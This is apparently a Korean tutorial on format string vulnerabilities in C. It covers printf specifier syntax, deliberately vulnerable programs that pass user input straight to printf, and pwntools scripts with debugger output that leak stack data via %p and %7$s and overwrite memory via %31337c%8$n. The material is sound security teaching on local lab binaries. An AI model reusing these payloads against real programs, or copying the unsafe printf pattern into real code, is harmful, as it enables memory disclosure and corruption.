%[parameter][flags][width][.precision][length]type
인자를 어떻게 사용할지 지정
최소 너비를 지정. 치환되는 문자열이 이 값보다 짧으면 공백 문자 패딩
참조할 인자의 인덱스를 지정하고 필드의 끝을 $
로 표기.
인덱스의 범위를 전달된 인자의 개수와 비교하지 않음.
#include <stdio.h>
int main() {
int num;
printf("%2$d, %1$d\n", 2, 1); // "1, 2"
return 0;
}
인덱스를 지정하여 두 번째 첫 번째 순서로 출력하게 해서 1, 2가 출력됩니다.
포멧 스트링의 잘못된 사용으로 발생하는 버그
포맷 스트링을 사용자가 입력할 수 있으면 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있습니다.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
$ ./fsb_stack_read
Format: %p %p %p %p %p %p %p %p %p %p
0x1 0x7fa20268c8d0 0x7fa20268aa00 (nil) (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025 (nil)
───────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x007ffff7dcda00 → 0x00000000fbad2288
$rdx : 0x007ffff7dcf8d0 → 0x0000000000000000
$rsp : 0x007fffffffddb0 → "AAAAAAAA %p %p %p %p %p %p %p %p"
$rbp : 0x007fffffffdec0 → 0x00555555400790 → <__libc_csu_init+0> push r15
$rsi : 0x1
$rdi : 0x007fffffffddb0 → "AAAAAAAA %p %p %p %p %p %p %p %p"
$rip : 0x0055555540076f → <main+85> call 0x5555554005e0 <printf@plt>
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x00555555400822 → add BYTE PTR [rax], al
$r12 : 0x00555555400610 → <_start+0> xor ebp, ebp
$r13 : 0x007fffffffdfa0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
%p
를 입력하니 레지스터 값이 출력되었습니다.
출력된 값들은 x64의 함수 호출 규약에 따라 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+10]
입니다.
위에서 %p
를 여러 개 넣어보니 6번째부터는 스택을 읽게 되서 사용자의 입력을 8글자 씩 참조합니다.
그래서 %[n]$s
형식으로 그 주소의 데이터를 재 참조해 읽을 수 있습니다.
%[n]$s
은 n번째 인자를 String 형식으로 출력하는 형식지정자 입니다.
// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
#!/usr/bin/python3
# Name: fsb_aar.py
from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()
$ python3 fsb_aar.py
[+] Starting local process './fsb_aar': pid 255
[*] Switching to interactive mode
[*] Process './fsb_aar' stopped with exit code 0 (pid 255)
Format: THIS IS SECRET
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffe1e2f8860│+0x0000: 0x2020202073243725 ← $rsp, $rdi
0x007ffe1e2f8868│+0x0008: 0x00564ad3800854 → "THIS IS SECRET"
0x007ffe1e2f8870│+0x0010: 0x0000000000000000
0x007ffe1e2f8878│+0x0018: 0x0000000000000000
0x007ffe1e2f8880│+0x0020: 0x0000000000000000
0x007ffe1e2f8888│+0x0028: 0x007f58f0a06710 → 0x007ffe1e314000 → 0x00010102464c457f
0x007ffe1e2f8890│+0x0030: 0x007f58f059d687 → "__vdso_getcpu"
0x007ffe1e2f8898│+0x0038: 0x0000000000000340
gef➤ x/s $rsp
0x7ffe1e2f8860: "%7$s T\b\200\323JV"
p.sendline(fstring)
을 하면 rsp
에 %7$s
가 들어가고 rsp+8
에 addr_address
가 들어가게 됩니다.
printf
함수에 %7$s
가 인자로 들어가게 되면 7번째 인자인 rsp+8
을 문자열 형식으로 출력하게 되고 그 결과 addr_secret
이 출력되게 됩니다.
포맷 스트링에 임의의 주소를 넣고 %[n]$n
의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있습니다.
%[n]$n
은 n번째 인자에 지금까지 출력한 문자열의 길이를 저장하는 형식 지정자 입니다.
// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
#!/usr/bin/python3
# Name: fsb_aaw.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
$ python3 fsb_aaw.py
[+] Starting local process './fsb_aaw': pid 334
[+] Receiving all data: Done (30.63KB) [*] Process './fsb_aaw' stopped with exit code 0 (pid 334)
b'Format:
\x01 \x14\x10\xa0I\x97\x7fSecret: 31337'
gef➤ x/s $rsp
0x7ffe51432980: "%31337c%8$n \024\020\200`\231U"
gef➤ x/s $rsp+8
0x7ffe51432988: "8$n \024\020\200`\231U"
gef➤ x/gx $rsp+16
0x7ffe51432990: 0x0000559960801014
p.sendline(payload)
를 하면 rsp ~ rsp+8
에 %31337c%8$n
이 들어가고 rsp+16
에 addr_secret
이 들어가게 됩니다.
printf
함수에 %31337c%8$n
가 인자로 들어가게 되면 %31337c
때문에 31337
길이로 문자열을 출력하게 되고 31337
이라는 문자열 길이가 8번째 인자인 rsp+16
에 들어가게 됩니다.
그래서 addr_secret
의 값이 31337
로 변조됩니다.